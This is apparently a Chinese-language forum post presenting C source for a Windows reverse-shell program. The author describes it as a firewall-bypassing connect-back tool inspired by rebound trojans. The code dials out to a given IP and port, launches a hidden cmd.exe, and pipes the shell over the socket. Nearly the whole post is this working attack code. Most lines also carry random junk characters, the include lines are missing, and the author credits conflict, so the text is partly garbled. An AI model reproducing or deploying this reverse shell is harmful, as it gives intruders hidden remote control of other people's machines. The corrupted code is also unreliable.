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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /Q)I5sL@E  
9D`K#3}  
/* ============================== OqRRf  
Rebound port in Windows NT ]zAwKuIK  
By wind,2006/7 7l/ZRz }1  
===============================*/ p<\!{5:   
#include &N=vs  
#include kf<c[su  
CvZ\Z472.j  
#pragma comment(lib,"wsock32.lib") N3lz-vP-  
%A3m%&(m&%  
void OutputShell(); u^MRKLn  
SOCKET sClient; LibQlNW\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IS!OO<  
ex`T 9j.=B  
void main(int argc,char **argv) ~uq010lMno  
{ F =*4] O  
WSADATA stWsaData; }%PK %/ zI  
int nRet; o_b3G  
SOCKADDR_IN stSaiClient,stSaiServer; |ssl0/nk  
>r\GB#\5  
if(argc != 3) #^]vhnbN  
{ _OjZ>j<B.  
printf("Useage:\n\rRebound DestIP DestPort\n"); .Mb0++% W  
return; ){)-}M  
} =Yl ea,S  
YL!{oHs4  
WSAStartup(MAKEWORD(2,2),&stWsaData); ' =5B   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nr]Fh  
$kN=45SR  
stSaiClient.sin_family = AF_INET; oj{CNa  
stSaiClient.sin_port = htons(0); uh.;Jj;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U/A iI;Ne  
\\13n4fAv  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DrioBb@  
{ G9Kck|50  
printf("Bind Socket Failed!\n"); Ua:@,};  
return; }.'rhR+  
} >`WfY(Lq  
R@pY+d9qp  
stSaiServer.sin_family = AF_INET; / yBrlf  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /W*Z.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gd7r9yV  
_#r00Ze  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a:l-cZ/!  
{ YU8]W%  
printf("Connect Error!"); ;/Z-|+!IJt  
return; 0,m]W)  
} eC%Skw  
OutputShell(); Cy/VH"G=  
} Dj c-f  
Pf,@U'f|  
void OutputShell() d8agM/F*/  
{ ^vT!24sK  
char szBuff[1024]; VZr:yE  
SECURITY_ATTRIBUTES stSecurityAttributes; H I_uR$m  
OSVERSIONINFO stOsversionInfo; Ng !d6]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  iKd+AzT  
STARTUPINFO stStartupInfo; N8Zz6{rp  
char *szShell; rq!*unJ  
PROCESS_INFORMATION stProcessInformation; (&Lt&i _  
unsigned long lBytesRead; ! #! MTk  
6YNL4HE?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qF `6l(  
YI7M%B9Lj  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Mth:V45G|  
stSecurityAttributes.lpSecurityDescriptor = 0; ti%RE:*  
stSecurityAttributes.bInheritHandle = TRUE; _ h#I}uJ~  
TvDC4tm-:  
3Ji$igL  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g6lWc@]F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0mUVa=)D  
g;p} -=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ARf{hiV6Wt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kw?3joy  
stStartupInfo.wShowWindow = SW_HIDE; /u.ZvY3,  
stStartupInfo.hStdInput = hReadPipe; -j]k^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jMTM:~0N  
]7K2S{/o{  
GetVersionEx(&stOsversionInfo); LOi}\O8  
wxc#)W  
switch(stOsversionInfo.dwPlatformId) < ]1,L%  
{ =HsE:@  
case 1: Q*%}w_D6f  
szShell = "command.com"; kUS]g r~i  
break; `q<W %'Tb$  
default: U7 D!w$4  
szShell = "cmd.exe"; &5R|{',(Y  
break; D%yY&q;  
} b\`S[  
`a MU2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9>9EZ?4m  
fM"*;LN!N  
send(sClient,szMsg,77,0);  =s4(Y  
while(1) Lm2!<<<  
{ 3rKJ<(-2/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]'(D*4  
if(lBytesRead) n:`f.jG |  
{ gHstdp_3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9ZJ 8QH  
send(sClient,szBuff,lBytesRead,0); \z0HHCn'"  
} zX&SnT1~  
else ?BfE*I$\h  
{ }H\I[5*  
lBytesRead=recv(sClient,szBuff,1024,0); 1\&j)3mC  
if(lBytesRead<=0) break; xxu  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jO&*E 'pk  
} 9/(jY$Ar  
} 3)W zX  
rjK`t_(=  
return; @0@ZlH wM  
}
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